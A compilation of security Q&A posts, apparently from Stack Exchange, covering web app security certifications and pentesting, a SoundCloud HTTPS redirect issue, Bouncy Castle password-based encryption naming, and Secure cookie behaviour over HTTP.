Thanks!

This is my first post on security.stackexchange, so don't be too harsh on me :).

There aren't really any "certifications" for web-apps. The closest I can think of is PCI-DSS, but the web app side of it is minimal - it's largely applicable across infrastructure and business processes, and heavily focuses on card payments.

If you're specifically looking for certifications, then web app development certs might be a good choice for a developer to get. Note that they apply to the person doing the development, not the application. A few things you can get certified for/as that come to mind are Microsoft SDL and GIAC GSSP (there's a .NET one).

In terms of maintaining security on a site, you'd usually get the site pentested by a professional organisation, review the security issues, then fix them. You don't really get any magic shiny certificate for doing this, but you do get to bask in the nice warm glow of knowing that you took security seriously. Plus your customers probably won't have to sue you for getting breached, which is always nice.

Pentesting is usually done by security consultancy companies, but recommending specific companies is outside of the scope of this site - there's no one answer, and it's largely geographically dependent.

If you're going about this so that you can add a big banner to the site saying "we're secure!", I think you'd be much better off forgetting about certifications and just focus on being transparent. Giving out details about how you do your security (e.g. password storage mechanism, account recovery policies, etc.) is the ultimate form of reassurance to a user, because it shows that you're confident enoguh to give that information out, and allows for peer review.


Why is "www." considered unsafe in this HTTPS URL? I was doing some cross-origin requests to  Soundcloud's oEmbed and I noticed some strange behaviour.
When doing a request from my localhost, which is on a regular HTTP connection, everything worked fine. However, when the code got pushed on our HTTPS test server, I got the following error from my browser:

  [blocked] The page at
  'https://example.com' was loaded over
  HTTPS, but ran insecure content from
  https://www.soundcloud.com/oembed?url=https://soundcloud.com/gwatsky/pumped-up-kicks-remix&format=js&callback=JSON_CALLBACK: this content
  should also be loaded over HTTPS.

The request URL is //www.soundcloud.com/oembed?url=https://soundcloud.com/gwatsky/pumped-up-kicks-remix&format=js&callback=JSON_CALLBACK. Note the "www.".

I tried specifying the protocol to HTTPS and removing/specifying the protocol in the url parameter, but I kept getting the error.

In the end I removed the www. from the URL and everything started working fine.

tl;dr Why is having www. in this HTTPS URL considered a security risk?

I think you are making a huge assumption with your question:

  Why does Chrome consider the "www." in an HTTPS url as a security risk?

as this is simply not the case.

What is happening is that SoundCloud is forcing users from www.soundcloud.com to soundcloud.com with a 301 redirect. The problem is that they are redirecting all traffic to http://soundcloud.com regardless of the originating protocol.

This is simply a configuration issue with the Soundcloud website and has nothing to do with browser or web security standards. There is no inherent risk with the www subdomain to a website.

The solution as you have already figured out is to remove the www in order to avoid the redirect. You might want to make the site's administrators aware of the issue if you are so inclined.


Understanding how password based encryption works I want to understand how password based encryption works. As I know the password is used to generate just the key. There is also an always random salt, which is user for the avoidance of dictionary attacks and not letting bad guys to get the hash of the password. So the password and the salt are creating a Key, which can be used for the encryption. After the key is created it is used by the cipher object.

But what I do not understand is the specification of the PBE methods. Lets say we have – PBEWithSHAAnd128BitAES-CBC-BC. From the name of this I understand, that the key is 128Bit and can be used for AES. Also the key is hashed with SHA and the provider is Bouncy Castle. But what I do not understand, how the CBC goes into the naming? Does it say, that I may be allowed to use this key just for CBC? But when I try to use it with CTS mode or OFB, everything works fine. So why does the block mode stand there? Or do I misunderstand the whole thing?

The algorithm definition here is for password based encryption (as the name perhaps obviously implies) and not just password based key derivation.

So Bouncy Castle is providing not only a way to derive a key, but also the ability to encrypt data, and in this case would use AES-128 in CBC mode to do so.

If you only care about the key derivation part, you can use the resulting 128-bit key with any cryptosystem that accepts a random 128-bit key. No need to limit it CBC mode, or even to AES.


Secure Cookie on HTTP site I was asked this question "If the cookie is marked secure and the web application is over http , Cannot we access the application ?"

Considering the secure flag is to ensure the cookie is sent only on encrypted network

Secure-only means that the cookie won't be sent to a server using insecure (http) connection. So the application cannot rely on it from a server side.

Cookie could still be sued by client side code (ie: javascript) so long Http only is not set (probably a bad idea tho).

Note that according to https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies

  Starting with Chrome 52 and Firefox 52, insecure sites (http:) can't set cookies with the Secure directive.

So your http application wouldn't even be able to set the cookie (browser won't save it, or maybe will save it but without the secure flag: in such case, the application might "still work" since it will receive the cookie on next http request)

Last, you could still "access" the application, but you will be seen as "anonymous" since no cookie will be sent.